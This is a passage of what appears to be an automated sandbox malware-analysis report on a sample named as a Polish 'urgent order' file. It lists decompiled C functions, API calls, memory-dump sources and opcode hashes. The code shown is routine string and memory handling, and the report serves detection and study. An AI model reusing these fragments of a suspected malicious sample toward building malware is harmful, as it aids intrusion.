							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}


















                                                                                              0x100010e7
                                                                                              0x100010ef
                                                                                              0x10001103
                                                                                              0x1000110b
                                                                                              0x10001116
                                                                                              0x10001119
                                                                                              0x10001121
                                                                                              0x10001124
                                                                                              0x10001126
                                                                                              0x100011c4
                                                                                              0x100011d0
                                                                                              0x1000112c
                                                                                              0x1000112d
                                                                                              0x1000112d
                                                                                              0x10001130
                                                                                              0x10001131
                                                                                              0x10001134
                                                                                              0x10001203
                                                                                              0x10001206
                                                                                              0x1000119e
                                                                                              0x100011a4
                                                                                              0x100011ac
                                                                                              0x100011b1
                                                                                              0x100011b4
                                                                                              0x00000000
                                                                                              0x100011b4
                                                                                              0x10001209
                                                                                              0x1000120a
                                                                                              0x10001186
                                                                                              0x1000118c
                                                                                              0x10001194
                                                                                              0x00000000
                                                                                              0x10001194
                                                                                              0x10001152
                                                                                              0x10001153
                                                                                              0x1000115b
                                                                                              0x10001168
                                                                                              0x10001170
                                                                                              0x10001179
                                                                                              0x1000117e
                                                                                              0x1000117e
                                                                                              0x00000000
                                                                                              0x10001153
                                                                                              0x1000113a
                                                                                              0x100011d1
                                                                                              0x100011d1
                                                                                              0x100011d8
                                                                                              0x100011e5
                                                                                              0x100011ea
                                                                                              0x100011ef
                                                                                              0x100011f5
                                                                                              0x100011fb
                                                                                              0x100011fb
                                                                                              0x00000000
                                                                                              0x100011d8
                                                                                              0x10001140
                                                                                              0x10001143
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x10001149
                                                                                              0x1000114c
                                                                                              0x1000119b
                                                                                              0x00000000
                                                                                              0x1000119b
                                                                                              0x1000114f
                                                                                              0x10001150
                                                                                              0x10001183
                                                                                              0x00000000
                                                                                              0x10001183
                                                                                              0x00000000
                                                                                              0x100011ba
                                                                                              0x100011ba
                                                                                              0x00000000
                                                                                              0x100011c3

                                                                                              APIs
                                                                                              • GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
                                                                                              • GlobalFree.KERNEL32(00000000), ref: 100011B4
                                                                                              • GlobalFree.KERNEL32(?), ref: 100011C7
                                                                                              • GlobalFree.KERNEL32(?), ref: 100011F5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14152699490.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14152673493.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152730936.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14152760294.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_10000000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Global$Free$Alloc
                                                                                              • String ID:
                                                                                              • API String ID: 1780285237-0
                                                                                              • Opcode ID: b8decb074684892a2462dd8a14650f5bbc649040d1784db13741ef69c2ea5ccd
                                                                                              • Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
                                                                                              • Opcode Fuzzy Hash: b8decb074684892a2462dd8a14650f5bbc649040d1784db13741ef69c2ea5ccd
                                                                                              • Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 004058D1 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E004058D1(void* __ecx, CHAR* _a4, CHAR* _a8) {
				int _v8;
				int _t12;
				int _t14;
				int _t15;
				CHAR* _t17;
				CHAR* _t27;

				_t12 = lstrlenA(_a8);
				_t27 = _a4;
				_v8 = _t12;
				while(lstrlenA(_t27) >= _v8) {
					_t14 = _v8;
					 *(_t14 + _t27) =  *(_t14 + _t27) & 0x00000000;
					_t15 = lstrcmpiA(_t27, _a8);
					_t27[_v8] =  *(_t14 + _t27);
					if(_t15 == 0) {
						_t17 = _t27;
					} else {
						_t27 = CharNextA(_t27);
						continue;
					}
					L5:
					return _t17;
				}
				_t17 = 0;
				goto L5;
			}









                                                                                              0x004058e1
                                                                                              0x004058e3
                                                                                              0x004058e6
                                                                                              0x00405912
                                                                                              0x004058eb
                                                                                              0x004058f4
                                                                                              0x004058f9
                                                                                              0x00405904
                                                                                              0x00405907
                                                                                              0x00405923
                                                                                              0x00405909
                                                                                              0x00405910
                                                                                              0x00000000
                                                                                              0x00405910
                                                                                              0x0040591c
                                                                                              0x00405920
                                                                                              0x00405920
                                                                                              0x0040591a
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B2E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004058E1
                                                                                              • lstrcmpiA.KERNEL32(00000000,00000000), ref: 004058F9
                                                                                              • CharNextA.USER32(00000000,?,00000000,00405B2E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040590A
                                                                                              • lstrlenA.KERNEL32(00000000,?,00000000,00405B2E,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405913
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: lstrlen$CharNextlstrcmpi
                                                                                              • String ID:
                                                                                              • API String ID: 190613189-0
                                                                                              • Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
                                                                                              • Instruction ID: 481a9c588bbd1c68550dea5b76d7ebd72626077616c8f786d6c844a28ee3c139
                                                                                              • Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
                                                                                              • Instruction Fuzzy Hash: 9EF0F632504418FFCB02AFA5DC0099EBBA8EF46360B2540B9F800F7310D274EF01ABA9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Executed Functions

                                                                                              Function 00B113D0 Relevance: 3.1, Strings: 2, Instructions: 607COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: <`>6$`a>6
                                                                                              • API String ID: 0-479587416
                                                                                              • Opcode ID: 053b5e1f0dc4d47c2fbfe881859020f4cd98e18b7063e2e97d78fb37f73096a6
                                                                                              • Instruction ID: 959ffe9b05c44cbdfeaf940af485a82bf9fd8d6213b1cfb2f45d6e0d213f2006
                                                                                              • Opcode Fuzzy Hash: 053b5e1f0dc4d47c2fbfe881859020f4cd98e18b7063e2e97d78fb37f73096a6
                                                                                              • Instruction Fuzzy Hash: 68226170F012098BEF24DB6CC4907EEB7F6EB85310F9489AAE515DB781DA35DC818B91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B132B0 Relevance: 9.7, Strings: 7, Instructions: 903COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: 8P3$8P3$<`>6$<`>6$<`>6$`a>6$`a>6
                                                                                              • API String ID: 0-538766278
                                                                                              • Opcode ID: 6398208e5c731a9da48c1c74fd0922de4c245f6ea1935ee05b4407e0832f9fb8
                                                                                              • Instruction ID: 00d94829ed6b4772f4bc4a0871f281f79bef4e0df0c22752c1298bb7e585cc72
                                                                                              • Opcode Fuzzy Hash: 6398208e5c731a9da48c1c74fd0922de4c245f6ea1935ee05b4407e0832f9fb8
                                                                                              • Instruction Fuzzy Hash: 54722E34F003188BEB64DB68C45179DB7F2FF85750F6084A9D50AAB794DF31AD828BA1
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B123B0 Relevance: 9.5, Strings: 7, Instructions: 726COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: <`>6$<`>6$<`>6$`a>6$`a>6$`a>6$`a>6
                                                                                              • API String ID: 0-39732615
                                                                                              • Opcode ID: 92b3440c5ee36f2c0c3f4c4150af483309693cee73376babfe343cdc6d7f1faf
                                                                                              • Instruction ID: 33eddd2935a667a0df0ce666ed19abd0b8008d9419ccafcf9147d4037b66c555
                                                                                              • Opcode Fuzzy Hash: 92b3440c5ee36f2c0c3f4c4150af483309693cee73376babfe343cdc6d7f1faf
                                                                                              • Instruction Fuzzy Hash: EA426334F002099FEF24DB68C5517AEB7E2EF88350F5048A9E506EB781DE35DC928B95
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B11838 Relevance: 8.0, Strings: 6, Instructions: 487COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: <^n7$<^n7$<`>6$<`>6$`a>6$`a>6
                                                                                              • API String ID: 0-229382347
                                                                                              • Opcode ID: 387e6e9f2c58bd18893b0f7004607614a2c32e9b0ceec6e5fe58953ce1a2206b
                                                                                              • Instruction ID: 0548070f46801113e09671399115267435b034f6396c230cc3922527e37d6108
                                                                                              • Opcode Fuzzy Hash: 387e6e9f2c58bd18893b0f7004607614a2c32e9b0ceec6e5fe58953ce1a2206b
                                                                                              • Instruction Fuzzy Hash: 80024D70E002099BDF24DFACC4906EDB7E1EB45310FA489AAE615EB741DB75DC82CB91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B11098 Relevance: 4.0, Strings: 3, Instructions: 228COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: <`>6$`a>6$Nn7
                                                                                              • API String ID: 0-2001804710
                                                                                              • Opcode ID: 2047498231f37a92ed823ca90d3dae8a121681eda65fa5898564b70e3262bfd4
                                                                                              • Instruction ID: 4e659ea08ff40698ddaa7ae3dbabadea7e564e0cc13edc9787c01f3fa488b695
                                                                                              • Opcode Fuzzy Hash: 2047498231f37a92ed823ca90d3dae8a121681eda65fa5898564b70e3262bfd4
                                                                                              • Instruction Fuzzy Hash: 0F817D31E103099BDB24DFA8C4556EEB7F2FF85300F608969E50AAB344DB709D868B90
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B167B8 Relevance: 1.6, Strings: 1, Instructions: 362COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: \
                                                                                              • API String ID: 0-2967466578
                                                                                              • Opcode ID: 6b904b126801c11e144e5b34f034e0583c33d8d38ac44455e869a0f479306f96
                                                                                              • Instruction ID: 9c17cf3a7e3525df38a483ac33e7b19ca34c4202b3c687119a4c1467f83e3e0c
                                                                                              • Opcode Fuzzy Hash: 6b904b126801c11e144e5b34f034e0583c33d8d38ac44455e869a0f479306f96
                                                                                              • Instruction Fuzzy Hash: A2D19170E102199FEF249F68C8907EEBBF5EF59310F5044AAE445EB291DB35DC818B91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B153B8 Relevance: 1.3, Strings: 1, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: `a>6
                                                                                              • API String ID: 0-3708291052
                                                                                              • Opcode ID: 18d770c37e29446d9d64cdba7d86ffdc93564bb53ecf69c8d71cf5871fdf9087
                                                                                              • Instruction ID: 0a180c0913d5ec6318fe924402b9bcc0395ed4a5dcc9717a89f69e8b356a26ce
                                                                                              • Opcode Fuzzy Hash: 18d770c37e29446d9d64cdba7d86ffdc93564bb53ecf69c8d71cf5871fdf9087
                                                                                              • Instruction Fuzzy Hash: 0001F431B105144BDB35857D945076F73DACBCA710F50883AE10AC7344EEA1DC838394
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B16C58 Relevance: .4, Instructions: 421COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 095d78d2a79a56f10a40262ffb3cccc00020bdd584452fd5ca02674e8f606df3
                                                                                              • Instruction ID: 323888a96fcc872209beaa119387c8c21b36bee97e3eb7e48fdd3bc8721f8858
                                                                                              • Opcode Fuzzy Hash: 095d78d2a79a56f10a40262ffb3cccc00020bdd584452fd5ca02674e8f606df3
                                                                                              • Instruction Fuzzy Hash: DDF14D74B002059FDB24CF28C594BAABBF1FF49310F5184A9E906DB7A1DA35EC81CB91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B15D88 Relevance: .3, Instructions: 312COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 6c7cd5a0bfeb8275e4da36d4f4d6ae3f46857e6ce740dceee5af11cb9f65b486
                                                                                              • Instruction ID: 64250b2238ea748167023aa05a6cec7092470f3f7460af3bd6e431b69f20ddec
                                                                                              • Opcode Fuzzy Hash: 6c7cd5a0bfeb8275e4da36d4f4d6ae3f46857e6ce740dceee5af11cb9f65b486
                                                                                              • Instruction Fuzzy Hash: 47A18370B016048BEF289A7888507AF77FAEBC5310F9044BED50ADB784DE75DD8287A5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B174A0 Relevance: .2, Instructions: 226COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: faf0d43331915d619c147ff80c87a99283fb90a8f7d6f5d11416f0b00f8661b0
                                                                                              • Instruction ID: 7dd2da3a6c21e7fdb53e691674629b6cf7e778ec14866a285e4018ee750ede1a
                                                                                              • Opcode Fuzzy Hash: faf0d43331915d619c147ff80c87a99283fb90a8f7d6f5d11416f0b00f8661b0
                                                                                              • Instruction Fuzzy Hash: 47A1F375A542098FCB54CFA8C984A9DBBF2FF48310F659195E905AB361CB31ED81CFA0
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B14026 Relevance: .1, Instructions: 129COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 141a3408a23ed582c9180782531ba4fe52cef3045b4ffb6f4f2afbfb322113af
                                                                                              • Instruction ID: d2ab7f4228eac41a6924e2e49cc56bec91af39973fba5282b4f1b72aeb3eb63f
                                                                                              • Opcode Fuzzy Hash: 141a3408a23ed582c9180782531ba4fe52cef3045b4ffb6f4f2afbfb322113af
                                                                                              • Instruction Fuzzy Hash: 3B418D30E0020A9FDB25DF69C4546DEBBE2FF85300F644969E402EB240EB71ED86CB91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B162D0 Relevance: .1, Instructions: 122COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b41f4ec3b221228bc4bb659a445d069bcb39adb799e847ae5d735714f662b603
                                                                                              • Instruction ID: 3570fcc54c9fb3d5c600cc5f61271188370dc508b795a9815518df4bc2cab58b
                                                                                              • Opcode Fuzzy Hash: b41f4ec3b221228bc4bb659a445d069bcb39adb799e847ae5d735714f662b603
                                                                                              • Instruction Fuzzy Hash: A541A031B002158FEB19AF78C4156AEB7E6EF88610FA448BDD006EB381EF35DD428795
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B186B8 Relevance: .1, Instructions: 112COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 7356f4ba0d3fed85eea27c342c0f0100c2e498a066361a04f425af91a2a306f2
                                                                                              • Instruction ID: 92e53b21cf4345a108dae004b17d3ff4e0c0055c504c52927f789a21b4bce069
                                                                                              • Opcode Fuzzy Hash: 7356f4ba0d3fed85eea27c342c0f0100c2e498a066361a04f425af91a2a306f2
                                                                                              • Instruction Fuzzy Hash: 2841FC34A102058FDB14DB69C494A9AB7F6FF88710F6494A9E506AB3A1DF70EC81CB54
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B15C08 Relevance: .1, Instructions: 106COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 4ad02ba9eba9a24ca7fa218db36a0d0fa12f0d7bb25976a1cfc798bd8cbc715b
                                                                                              • Instruction ID: a6f503d039b17e993577f42e09d6746d6b0c853403680ef2ec7c2ae8244e51b1
                                                                                              • Opcode Fuzzy Hash: 4ad02ba9eba9a24ca7fa218db36a0d0fa12f0d7bb25976a1cfc798bd8cbc715b
                                                                                              • Instruction Fuzzy Hash: EB413030A10609CBDB25DFA5D594A9EBBF2EFC4340F648465D806AB345DB70ED83CB90
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B16590 Relevance: .1, Instructions: 102COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 127c8911365eb62d13f6aba53952e28485e37408e8c501edb167e32eb912c8f3
                                                                                              • Instruction ID: 1d250045b7db677bbb814274c10452911ec173728be61df68d2399330bb3b07d
                                                                                              • Opcode Fuzzy Hash: 127c8911365eb62d13f6aba53952e28485e37408e8c501edb167e32eb912c8f3
                                                                                              • Instruction Fuzzy Hash: 1C319270E142099FDB05DF65C5516DDBBF6FB85300FA184A9D805DB381EB348E86CB91
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B159B0 Relevance: .1, Instructions: 94COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 0d52e042837488628b73cc282e4e50468e85bf1340098d6130f0ac5f6e57e1ed
                                                                                              • Instruction ID: a6c5849e2e7d4bf9707fb1c6c766315e3f650e95b54dccab9b74b9fd72c968e6
                                                                                              • Opcode Fuzzy Hash: 0d52e042837488628b73cc282e4e50468e85bf1340098d6130f0ac5f6e57e1ed
                                                                                              • Instruction Fuzzy Hash: F2318474B102049FEB48EB78C860BAF77FAEFC9250F544069E50AD7794DE70AC0287A5
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B16190 Relevance: .1, Instructions: 91COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c76d6bbc398cfd1f22cf24712dab993ca98d9e0c52dbc4b76880a4046b76f297
                                                                                              • Instruction ID: c1c7d7732381e16f276b0c9fc557a431d88f30dfb65f381b537e487cff2bd1c9
                                                                                              • Opcode Fuzzy Hash: c76d6bbc398cfd1f22cf24712dab993ca98d9e0c52dbc4b76880a4046b76f297
                                                                                              • Instruction Fuzzy Hash: B9316F30A002199BDB25CFA9C944A9EB7F1FF98340F608565E805AB341DB70ED82CB90
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00B164B8 Relevance: .1, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000089.00000002.17956906842.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B10000, based on PE: false
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2967f4b330863cd07b4e9e683ffeb865b030f8434e880b447db26c663c19a95f
                                                                                              • Instruction ID: 80d3b8286b032a1d2faf8f10952a408a57b83b30046ec40f38516e04d4521c4d
                                                                                              • Opcode Fuzzy Hash: 2967f4b330863cd07b4e9e683ffeb865b030f8434e880b447db26c663c19a95f
                                                                                              • Instruction Fuzzy Hash: EC119E70A102089BEF249B64C8587EAB7F6FF98301F6044A5D801B7384DB3ADC81CA72
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%